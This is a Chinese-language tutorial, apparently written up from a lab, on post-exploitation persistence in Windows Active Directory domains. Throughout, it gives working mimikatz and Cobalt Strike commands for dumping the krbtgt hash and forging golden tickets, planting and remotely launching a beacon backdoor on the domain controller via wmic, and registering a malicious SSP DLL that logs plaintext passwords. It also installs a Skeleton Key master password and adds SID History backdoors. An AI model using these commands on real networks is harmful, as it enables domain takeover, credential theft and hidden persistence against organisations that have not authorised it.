域内的权限维持
前言
上期我们讲了windows和Linux中的权限维持,这期我们讲一下域内的权限维持,权限维持是后渗透必不可少的环节,大家一定要好好掌握啊。
PTT
PTT(票据)
window认证机制
http://note.youdao.com/noteshare?id=cb8c505af1c38b461be8e964e9825dca&sub=F271F9DD1A894C4188D1AE4AB98F4937
TGT(黄金票据)
(1)TGT(黄金票据)
黄金票据影响整个域上的所有服务的
黄金票据伪造条件
制作金票的条件:
- 域名称
- 域的SID值
- 域KRBTGT账号密码HASH
- 伪造用户名,可以是任意的
利用步骤:
- 域名称 shell whoami
- 域的SID值 shell whoami /all
- 域KRBTGT账号密码HASH
mimikatz lsadump::dcsync /user:krbtgt@god.org (de1ay.com是一个域名)
这条命令可以是域内的用户就执行的了,不需要管理员权限,我们可以伪造票据,得到域控的权限从而获取整个域内的权限
Hash NTLM: 58e91a5ac358d86513ab224312314061
利用cs内置的模块(黄金票据伪造)
设置伪造的用户,域名称,域SID,域内普通用户的HASH值,进行build
伪造成功
我们点击右键,点击Access的Golden Ticket
build后,发现已经伪造成功了,我们看一下效果
查看伪造的票据
mimikatz Kerberos::list
mimikatz伪造用户的票据是注入内存中的,后面加上ptt的
清理所有票据
klist purge
mimikatz Kerberos::purge
在本机或者kali中生成一个程序,上传到域控的C盘中
访问域控的C盘(已经建立了IPC的连接)
已经有了票据,可以直接访问DC
shell dir \owa.god.org\c$(其中的DC为域控的名称,de1ay.com为域名)
shell dir \owa.god.org\c$
我们访问到域控的C盘目录了
查找端口
netstat -ano| findstr 4444
将后门传入域控中,获取域控的会话及权限
具体步骤:
cs上线普通域用户后,查看C盘,将生成的后门程序上传C盘
upload /home/zhian/redteamtools/beacon.exe C:\Users\Administrator\Desktop\beacon.exe(就是将kali中的程序上传到靶机中)
在将程序复制到域控中的C盘中
shell copy C:\Users\Administrator\Desktop\beacon.exe \192.168.52.138\c$(ip是域控的ip地址)
复制之后,查看是否有这个程序
shell dir \owa.god.org\c$(其中的owa为域控的名称,god.org为域名)
发现有了这个程序之后,就输入命令,执行beacon.exe
shell wmic /authority:“Kerberos:god.org\owa” /node:“owa” process call create “cmd /c c:\beacon.exe”
执行成功了。
执行成功之后,去域控中的进程中看看是否有了beacon.exe的进程
在域控中,就会监听一个4444端口
netstat -ano | findstr 4444
我们发现端口在监听了
之前通过票据伪造生成了一个域控的普通权限,就是伪造了域控owa,成为了god*
connect 192.168.52.138(就会生成一个域控的管理员的权限了)
进入域控的beacon会话后,输入shell whoami,就是域控的管理员的权限了
这里实验没有成功,原因可能是靶机的问题,上次也是点击后门也没有反弹shell回来,不过看结果进程时打开了,也创建了脚本运行起来了,在其他机器的域控中应该是可以运行的,大家在遇到横向移动的时候可以采用这种访问去访问域控从而获得域控的会话,这就是票据的伪造。
ssp
(2)ssp
ssp,一个用于身份验证的dll,系统在启动时ssp会加载到lsass.exe进程中,由于lsa可扩展,导致在系统启动时ssp会加载一个自定义的dll,一个用于记录所有登录到当前系统的明文账号密码的dll,利用mimikatz中的mimilib.dll文件
将mimikatz中的mimilib.dll放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。
第一种方法:
打开文件目录,将kali的mimilib.dll复制System32目录下
copy C:\Users\Administrator\Desktop\mimilib.dll C:\Windows\System32
upload /home/zhian/mimilib.dll C:\Windows\System32(在kali上会被转义,所以要加\)
传到了System32目录下,先传到桌面,在复制到System32目录下,直接传可能不行,因为权限的问题不能直接从kali上传到System32目录下
因为之前已经复制过了,并且运行了,所以这里会显示是否覆盖之前的复制,表明复制成功了,我们查看一下日志
在cs上执行
shell reg query hklm\system\currentcontrolset\control\lsa\ /v “Security Packages”
在powershell中执行,在cmd上会报错
reg add hklm\system\currentcontrolset\control\lsa\ /v “Security Packages” /d “kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib” /t REG_MULTI_SZ
我们已经成功写入了
计算机重启后,如果有用户成功登录到当前系统中,会在C:\windows\system32目录下生成一个用于记录登录账号和密码的kiwisso.log文件,我们在主机上查看一下,或者在kali上查看也可以
我们查看一下日志的内容,里面记录我们的登录信息,密码也显示了
第二种方法:
mimikatz privilege::debug
mimikatz misc::memssp
type C:\Windows\System32\mimilsa.log
(这个日志文件也是收集登录账号和密码的)
实验成功了,我们看到就出现了这个日志,平常我们登录的时候,就会记录一些信息在这里,大家可以试一下。
Skeleton Key
(3)Skeleton Key
Skeleton Key是一种不需要域控重启即能生效的维持域控权限方法。
Skeleton Key是安装在64位的域控服务器上,支持Windows Server2003-Windows Server2012 R2,能够让所有域用户使用同一个万能密码进行登录,现有的所有域用户使用原密码仍可以继续登录,注意并不能更改用户权限,重启后失效。
在域控安装Skeleton Key:
privilege::debug
misc::skeleton
域内主机使用keleton Key登录域控,mimikatz的默认Skeleton Key设置为mimikatz
Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限
net use \owa.god.org mimikatz /user:administrator@god.org
net use
SID History
- SID History是在域迁移过程中需要使用的一个属性。
- mimikatz添加后门
privilege::debug
sid::patch
sid::add /sam:ming /new:administrator
- Powershell查看SID
Powershell查看ming用户的SID History
Import Module ActiveDirectory
Get-ADUser ming -Properties sidhistory
- 验证
验证与用户ming是否具有administrator权限(在ming用户下)
whoami
dir \owa.god.org\c$
我们就可以访问到域控的C盘目录了,实验结束了。
后记
域内的权限维持应用很广泛,不管是平常的工作渗透中,还是红蓝对抗实战演习中,都是经常会遇到域的概念,这时横向移动拿下域中其他主机的权限就很有必要了。学好权限维持,在渗透中能节省我们大量的时间。